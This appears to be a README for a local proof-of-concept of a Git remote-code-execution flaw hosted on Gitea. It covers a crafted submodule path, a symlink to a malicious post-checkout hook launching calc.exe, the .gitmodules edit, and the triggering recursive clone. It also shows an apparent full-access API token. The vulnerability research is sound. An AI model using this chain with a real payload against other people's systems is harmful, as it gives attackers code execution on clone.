We are adapting this for local use

we follow this blog post but with some key differences https://amalmurali.me/posts/git-rce

How It Works

1. A malicious repository (git_rce) includes a submodule with a specially crafted path.
2. The submodule path uses a case variation that exploits the case-insensitive filesystem.
3. The submodule includes a symlink pointing to its .git/ directory, which contains a malicious hook.
4. When the repository is cloned, the symlink is followed, and the malicious hook is executed, leading to RCE.

Reproduction

⚠️ Warning: Do not run this PoC on systems you do not own or do not have explicit permission to use. Unauthorized testing could result in unintended consequences.

we need to make an api token for gitea this can be found at http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications i gave the token access to everything in order to make sure everything worked

then we can run our poc.sh making sure to provide it with the prompted information such as the ip address and port for the gitea server the username and token for making the repositories

Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook 
Enter the name for the second repository: main

also we need to edit lines 42-46 to contain the payload

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc 
EOF

there is one more step we must go to the .gitmodules from the main to the hook repository i manually went to the repo in git tea and changed the file

and then this did this

[submodule "x/y"]
	path = A/modules/x
	url = http://<your_git_tea_server>:3000/chris/hook.git

making sure that when i went to A/modules i could see something like this

then clicking that commit should show the other repo with the POC stuff in it when you click it

then we can take our url and this should work to trigger the exploit

git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git

Acknowledgments

Credit to filip-hejsek and amalmurali47 for discovering this vulnerability and having a blog post and repository to adapt from